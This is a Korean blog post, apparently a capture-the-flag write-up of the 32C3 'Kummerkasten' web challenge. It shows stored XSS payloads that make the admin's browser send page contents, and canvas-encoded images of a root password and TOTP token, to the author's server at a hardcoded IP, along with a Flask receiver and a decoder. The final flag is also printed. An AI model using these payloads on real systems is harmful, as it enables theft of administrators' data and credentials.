티스토리 뷰
- Kummerkasten
this site를 눌러보면 아래 사이트로 이동한다.
해당 사이트는 관리자에게 메시지를 보낼 수 있는 기능이 있는 사이트이다.
간단하게 메시지를 전송
전송 결과로는 의미있는 정보를 얻기가 힘들다.
Your Message 부분에 스크립트를 삽입하여 해당 메시지를 받아보는 관리자가 보는 페이지를 개인 서버 쪽으로 전송하도록 처리하였다.
1 2 3 4 5 6 7 8 9 | <script> $.ajax({ type: "POST", url: "http://14.36.23.78:1337/pwn", data: { 'data':document.documentElement.outerHTML } }); </script> | cs |
서버 쪽에서는 전송된 내용을 받아서 처리할 수 있도록 파이썬으로 아래 코드를 실행해놓은 상태에서 위에 스크립트를 삽입하여 요청하였다.
(도움 주신 hackability 님 감사합니다.)
pwn:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from flask import ( Flask, request ) app = Flask(__name__) @app.route("/pwn", methods=["POST"]) def hello(): data = request.values.get('data') fd = open("view","wb") fd.write(data) fd.close() print 'ok' return 0 if __name__ == "__main__": app.run(host="14.36.23.78", port=1337, debug=True) | cs |
ok 문자가 출력되고 나서 view 파일을 확인해보면 정상적으로 스크립트가 동작하여 관리자가 보고 있는 화면을 볼 수 있다.
소스 코드를 보면 /admin/bugs와 /admin/token 경로를 확인할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | <html lang="en"><head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content="Admin"> <meta name="author" content="The lonely admin"> <link rel="icon" href="img/favicon.ico"> <title>Admin</title> <base href="/"> <link href="css/bootstrap.min.css" rel="stylesheet"> </head> <body> <script src="js/jquery-2.1.4.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/admin.js"></script> <nav class="navbar navbar-inverse"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/admin/comments">Admin</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li class="active comments comment"><a href="/admin/comments">Comments</a></li> <li class="bugs"><a href="/admin/bugs">Bugs</a></li> </ul> <img src="img/spinner.svg" class="spinner pull-right" style="height: 50px; display: none;"> <ul class="nav navbar-nav navbar-right"> <li class="token"><a href="/admin/token">HACK - Token</a></li> </ul> </div> </div> </nav> <div class="container" id="content"> <div> <h1>Good news!</h1> <div class="comment"> <blockquote> <p><script> $.ajax({ type: "POST", url: "http://14.36.23.78:1337/pwn", data: { 'data':document.documentElement.outerHTML } }); </script></p></blockquote></div></div></div></body></html> | cs |
확인한 두 경로를 동일한 방법으로 스크립트를 삽입하여 확인하였다.
/admin/bugs:
1 2 3 4 5 6 7 8 9 10 11 | <script> $.get("/admin/bugs",function(data){ $.ajax({ type: "POST", url: "http://14.36.23.78:1337/pwn", data: { 'data':data } }); }); </script> | cs |
결과 화면:
소스 코드를 보면 중요 정보로 보이는 그림 파일 경로를 확인할 수 있다.
<img src="admin/img/root_pw.png?20151228" id="img-bug-0003"/>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content="Admin"> <meta name="author" content="The lonely admin"> <link rel="icon" href="img/favicon.ico"> <title>Admin</title> <base href="/"> <link href="css/bootstrap.min.css" rel="stylesheet"> </head> <body> <script src="js/jquery-2.1.4.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/admin.js"></script> <nav class="navbar navbar-inverse"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/admin/comments">Admin</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li class="active comments comment"><a href="/admin/comments">Comments</a></li> <li class="bugs"><a href="/admin/bugs">Bugs</a></li> </ul> <img src="img/spinner.svg" class="spinner pull-right" style="height: 50px; display: none;"/> <ul class="nav navbar-nav navbar-right"> <li class="token"><a href="/admin/token">HACK - Token</a></li> </ul> </div> </div> </nav> <div class="container" id="content"> <div class="row"> <div class="col-md-6"> <h1>Bug reports</h1> <div class="bug"> <p><h4>New bug report from Zero Cool on 2015-12-28</h4></p> <p>Hello Admin,... I know that you're not in a good place right now. I've been told to go easy on you. But guess what I just found browsing through the latest commits to our PUBLIC (!!!!) GitHub repository. </p> <img src="admin/img/root_pw.png?20151228" id="img-bug-0003"/> <p> Is this really our production MySQL password? And is this by any chance the exact same password you're using everywhere else? <br/> <b>Are you fucking kidding me?</b><br/> Please tell me that this is not also your password for the admin section...<br/> The only thing that luckily prevents anyone from exploiting this is that we enforce Two Factor Authentication. Even an imbecile like you can't fuck this up since it's only stored on your phone...<br/> Sorry admin, but this is unacceptable. I've deleted the checkin from the repo and I don't think anyone saw the commit...</p> <footer>Zero Cool on 2015-12-28</footer> </div> <hr/> <div class="bug"> <p><h4>New bug report from Acid Burn on 2015-12-20</h4></p> <blockquote> <p>Hello Admin, Sorry for filing a bug, but I thought this was the quickest way to reach you. I've found the library you were looking for, it's called pyotp. You haven't told me what you're planning on doing with it, but knowing you it will be something really cool. I've found that the easiest way to use the token is to just append it to your password (i.e. as the last six digits).</p> <p>I probably don't have to tell you to keep your TOTP token (and especially the seed) safe from prying eyes ;)</p> <footer>Acid Burn on 2015-12-20</footer> </blockquote> </div> </div> </div> </div> </body> </html> | cs |
/admin/token:
1 2 3 4 5 6 7 8 9 10 11 | <script> $.get("/admin/token",function(data){ $.ajax({ type: "POST", url: "http://14.36.23.78:1337/pwn", data: { 'data':data } }); }); </script> | cs |
결과 화면:
token 페이지의 소스 코드에서도 중요 정보로 보이는 그림 파일 경로를 확인할 수 있다.
<img src="admin/img/token.png?20151228" id="img-token"/>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content="Admin"> <meta name="author" content="The lonely admin"> <link rel="icon" href="img/favicon.ico"> <title>Admin</title> <base href="/"> <link href="css/bootstrap.min.css" rel="stylesheet"> </head> <body> <script src="js/jquery-2.1.4.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/admin.js"></script> <nav class="navbar navbar-inverse"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/admin/comments">Admin</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li class="active comments comment"><a href="/admin/comments">Comments</a></li> <li class="bugs"><a href="/admin/bugs">Bugs</a></li> </ul> <img src="img/spinner.svg" class="spinner pull-right" style="height: 50px; display: none;"/> <ul class="nav navbar-nav navbar-right"> <li class="token"><a href="/admin/token">HACK - Token</a></li> </ul> </div> </div> </nav> <div class="container" id="content"> <div> <h1>TOTP Token for today</h1> <p> The token for today is:<br/> <img src="admin/img/token.png?20151228" id="img-token"/> </p> </div> </div> </div> </body> </html> | cs |
문제 힌트를 참고해보면 두 값을 합친 것이 flag라고 하였기 때문에 두 이미지 파일이 문제를 푸는 데 중요한 열쇠라고 볼 수 있다.
<img src="admin/img/root_pw.png?20151228" id="img-bug-0003"/>
<img src="admin/img/token.png?20151228" id="img-token"/>
해당 파일에 직접 접근해보면 아래 그림과 같이 접근이 거부되어 있다.
따라서 이미지 파일도 동일하게 스크립트를 삽입하여 해보았지만, 타입 에러가 발생해서 실패...
다른 방법을 찾아보다가 canvas를 이용해서 이미지 파일을 base64 형태로 변환하는 자바스크립트 코드가 있길래 두 이미지 파일을 한꺼번에 가져오도록 시도하였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | <script> function convertToDataURLscheme(url, predata, callback, outputFormat){ var img = new Image(); img.crossOrigin = 'Anonymous'; img.onload = function(){ var canvas = document.createElement('CANVAS'); var ctx = canvas.getContext('2d'); var dataURL; canvas.height = this.height; canvas.width = this.width; ctx.drawImage(this, 0, 0); dataURL = canvas.toDataURL(outputFormat); callback(predata + dataURL); canvas = null; }; img.src = url; } var pw = 'admin/img/root_pw.png?20151228'; var token = 'admin/img/token.png?20151228'; convertToDataURLscheme(pw, '', function(pw_img){ convertToDataURLscheme(token, pw_img + 'X:X', function(total_img){ $.ajax({ type: "POST", url: "http://14.36.23.78:1337/pwn", data: { 'data':total_img } }); }); }); </script> | cs |
결과 화면:
두 이미지 데이터가 합쳐져있기 때문에 앞에 스크립트에서 삽입한 X:X를 기준으로 이미지를 다시 분할해서 볼 수 있도록 코드를 작성하였다.
view.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #!/usr/bin/python # -*- coding: utf-8 -*- import base64 f = open("view", "rb") img_b64 = f.read() f.close() p = img_b64.find('X:X') pw_b64 = img_b64[:p] token_b64 = img_b64[p+3:] f = open("view.html", "w") f.write('<img alt="pw" src="{0}"><br><img alt="token" src="{1}">'.format(pw_b64,token_b64)) f.close() print 'ok' | cs |
해당 파이썬 코드를 실행하면 view.html 파일에서 이미지를 확인할 수 있다.
첫 번째 이미지(root_pw.png)에서 flag 값에 해당되는 1_4m_numb3r_0n3! 을 찾을 수 있고,
두 번째 이미지(token.png)에서 629880 을 한 눈에 확인할 수 있다.
문제에서 두 값을 합친 값이 flag 값이라고 하였기 때문에 flag는 아래와 같다.
flag: 1_4m_numb3r_0n3!629880
'CTF (Git으로 이사 예정)' 카테고리의 다른 글
[SSCTF] Up!Up!Up! - Web (100) (0) | 2016.03.01 |
---|---|
[SharifCTF] technews - Web (200) (0) | 2016.02.09 |
[SharifCTF] PhotoBlog - Web (100) (0) | 2016.02.09 |
[32C3] ITD - Web (150) (0) | 2016.01.19 |
[32C3] Sequence Hunt - Web (200) (0) | 2016.01.13 |
[32C3] TinyHosting - Web (250) (0) | 2016.01.11 |
[32C3] MonkeyBase - Web (200) (0) | 2016.01.07 |
[32C3] forth - Pwn (150) (0) | 2016.01.03 |
[CODEGATE2015] Owltube - Web (400 Point) (0) | 2015.03.16 |
[CODEGATE2015] Owlur - Web (200 Point) (0) | 2015.03.16 |